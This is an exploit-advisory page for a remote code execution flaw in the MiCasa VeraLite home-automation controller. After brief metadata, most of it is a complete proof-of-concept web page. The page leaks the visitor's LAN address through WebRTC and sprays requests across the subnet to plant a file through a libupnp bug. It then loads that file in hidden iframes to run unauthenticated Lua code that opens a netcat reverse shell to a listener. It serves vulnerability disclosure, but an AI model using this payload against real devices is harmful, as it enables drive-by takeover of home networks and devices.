MiCasa VeraLite Remote Code Execution

2016.10.22
Credit: Jacob Baines
Risk: High
Local: No
Remote: Yes
CWE: N/A


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

# Exploit Title: MiCasa VeraLite Remote Code Execution # Date: 10-20-2016 # Software Link: http://getvera.com/controllers/veralite/ # Exploit Author: Jacob Baines # Contact: https://twitter.com/Junior_Baines # CVE: CVE-2013-4863 & CVE-2016-6255 # Platform: Hardware 1. Description A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage. 2. Proof of Concept <!-- @about This file, when loaded in a browser, will attempt to get a reverse shell on a VeraLite device on the client's network. This is achieved with the following steps: 1. Acquire the client's internal IP address using webrtc. We then assume the client is operating on a \24 network. 2. POST :49451/z3n.html to every address on the subnet. This leverages two things we know to be true about VeraLite: - there should be a UPnP HTTP server on 49451 - VeraLite uses a libupnp vulnerable to CVE-2016-6255. 3. Attempt to load :49451/z3n.html in an iframe. This will exist if step 2 successfully created the file via CVE-2016-6255 4. z3n.html will allow us to bypass same origin policy and it will make a POST request that executes RunLau. This also leverages information we know to be true about Veralite: - the control URL for HomeAutomationGateway is /upnp/control/hag - no auth required 5. Our RunLua code executes a reverse shell to 192.168.217:1270. @note This code doesn't run fast in Firefox. This appears to largely be a performance issue associated with attaching a lot of iframes to a page. Give the shell popping a couple of minutes. In Chrome, it runs pretty fast but might exhaust socket usage. @citations - WebRTC IP leak: https://github.com/diafygi/webrtc-ips - Orignal RunLua Disclosure: https://media.blackhat.com/us-13/US-13-Crowley-Home-Invasion-2-0-WP.pdf - CVE-2016-6255: http://seclists.org/oss-sec/2016/q3/102 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script> /** * POSTS a page to ip:49451/z3n.html. If the target is a vulnerable * libupnp then the page will be written. Once the request has * completed, we attempt to load it in an iframe in order to bypass * same origin policy. If the page is loaded into the iframe then * it will make a soap action request with the action RunLua. The * Lua code will execute a reverse shell. * @param ip the ip address to request to * @param frame_id the id of the iframe to create */ function create_page(ip, frame_id) { payload = "<!DOCTYPE html>\n" + "<html>\n" + "<head>\n" + "<title>Try To See It Once My Way</title>\n" + "<script>\n" + "function exec_lua() {\n" + "soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" + "soap_request += \"<s:Body>\";\n" + "soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" + "soap_request += \"<Code>os.execute("/bin/sh -c &apos;(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.217 1270 > /tmp/a)&&apos;")</Code>\";\n" + "soap_request += \"</u:RunLua>\";\n" + "soap_request += \"</s:Body>\";\n" + "soap_request += \"</s:Envelope>\";\n" + "xhttp = new XMLHttpRequest();\n" + "xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" + "xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" + "xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" + "xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" + "xhttp.send(soap_request);\n" + "}\n" + "</scr\ipt>\n" + "</head>\n" + "<body onload=\"exec_lua()\">\n" + "Zen?\n" + "</body>\n" + "</html>"; var xhttp = new XMLHttpRequest(); xhttp.open("POST", "http://" + ip + ":49451/z3n.html", true); xhttp.timeout = 1000; xhttp.onreadystatechange = function() { if (xhttp.readyState == XMLHttpRequest.DONE) { new_iframe = document.createElement('iframe'); new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html"); new_iframe.setAttribute("id", frame_id); new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none"); document.body.appendChild(new_iframe); } }; xhttp.send(payload); } /** * This function abuses the webrtc internal IP leak. This function * will find the the upper three bytes of network address and simply * assume that the client is on a \24 network. * * Once we have an ip range, we will attempt to create a page on a * vulnerable libupnp server via create_page(). */ function spray_and_pray() { RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; peerConn = new RTCPeerConnection({iceServers:[]}); noop = function() { }; peerConn.createDataChannel(""); peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop); peerConn.onicecandidate = function(ice) { if (!ice || !ice.candidate || !ice.candidate.candidate) { return; } clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1]; peerConn.onicecandidate = noop; if (clientNetwork && clientNetwork.length > 0) { for (i = 0; i < 255; i++) { create_page(clientNetwork + '.' + i, "page"+i); } } }; } </script> </head> <body onload="spray_and_pray()"> Everything zen. </body> </html> 3. Solution: No solution exists


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